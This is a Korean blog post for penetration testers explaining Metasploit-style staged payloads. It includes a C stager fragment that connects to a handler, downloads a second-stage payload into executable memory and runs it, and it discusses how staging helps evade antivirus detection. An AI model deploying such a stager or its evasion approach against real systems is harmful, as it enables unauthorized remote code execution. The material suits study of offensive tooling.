스테이지된 페이로드(Staged Payloads) - 침투 테스터가 알아야 할 것
메타스플로잇 프레임워크는 익스플로잇과 페이로드(익스플로잇 성공 후 실행되는 것)를 디커플링한다. 또한 메타스플로잇 프레임워크는 스테이저(stager)와 스테이지(stage)의 두 부분으로 나뉜다. 스테이저는 큰 페이로드(스테이지)를 다운로드하고, 그것을 메모리에 주입하고, 실행을 전달한다.
그림. 페이로드 스테이징 과정
스테이징은 필요에 의해 생겨났다. 많은 익스플로잇 상황은 공격자가 얼마나 많은 바이트를 변경 없이 메모리의 한 위치에 로딩할 수 있는지에 제약을 받는다. 이러한 상황에서 흥미로운 포스트 익스플로잇을 하는 한 가지 방법은 페이로드를 여러 단계(스테이지)에 걸쳐 전달하는 것이다.
스테이저는 어셈블리 언어로 작성되어 수작업으로 최적화되는 것이 일반적이다. 공격자는 스테이저를 가능한 한 작게 만들려고 한다. 스테이저가 작으면 공격자는 많은 익스플로잇에 자유롭게 사용할 수 있다.
다음 코드는 C로 작성된 스테이저다. 버퍼를 할당하고, 스테이지를 다운로드하고, 그것에 제어를 전달한다. 나는 이 과정을 블로그에 설명했고, 전체 프로그램은 깃허브에 있다.
/* 핸들러에 연결 */
SOCKET my_socket = wsconnect(argv[1], atoi(argv[2]));
/* 4 바이트를 읽음 */
int count = recv(my_socket, (char *)&size, 4, 0);
if (count != 4 || size <= 0)
punt(my_socket, "read a strange or incomplete length value\n");
/* RWX 버퍼를 할당 */
buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buffer == NULL)
punt(my_socket, "could not allocate buffer\n");
/* SOCKET 값을 EDI 레지스터에 옮기기 위해 어셈블리를 prepend
BF 78 56 34 12 => mov edi, 0x12345678 */
buffer[0] = 0xBF;
/* 소켓의 값을 버퍼에 복사 */
memcpy(buffer + 1, &my_socket, 4);
/* 바이트를 버퍼에 읽음 */
count = recv_all(my_socket, buffer + 5, size);
/* 버퍼를 함수로 변환해 호출 */
function = (void (*)())buffer;
function();
스테이징은 몇 개의 스테이저를 가지고 다양한 페이로드를 전달할 수 있게 해준다. 내가 스테이저와 호환되는 코드를 갖고 있으면, 나는 스테이저가 지원하는 코드를 전달할 수 있다(크기가 관건이다). 이러한 유연성 덕분에 비콘(Beacon) 같은 페이로드를 메타스플로잇 프레임워크에 맞춰 수정하지 않아도 된다.
스테이저에 의존하면 안티 바이러스 회피도 쉬워진다. 윈도우 미터프리터는 700KB이고 코발트 스트라이크(Cobalt Strike)의 비콘은 120KB다. 크기에 대한 제약이 없다고 가정할 때, 만약 내가 원하는 페이로드 그대로를 전달하기 위해 공격 패키지를 만들면 안티 바이러스 공급자에게 더 많은 단서를 제공해 그들이 시그니처를 작성할 수 있게 된다. 스테이저를 사용해 페이로드를 전달하면 나는 스테이저에 집중할 수 있고 공격 패키지는 안티 바이러스에 잡히지 않을 것이다. 스테이저가 잡히지 않는다면 스테이지도 아마 안전할 것이다.
이론적으로 스테이지 코드는 크기와 위치에 독립적이다. 현실에서는 메타스플로잇 프레임워크와 함께 사용되는 스테이지는 C로 작성된 DLL이다. 이 DLL들은 스테픈 퓨어(Stephen Fewer)가 작성한 반사 DLL 주입 라이브러리(Reflective DLL Injection library)를 가지고 컴파일된다. 이 라이브러리는 메모리로부터 프로세스에 라이브러리를 로드할 수 있다. 동작 원리에 대해서는 스테픈 퓨어가 쓴 반사 DLL 주입 문서(Reflective DLL Injection paper)를 참조하라.
(후략)
댓글 없음:
댓글 쓰기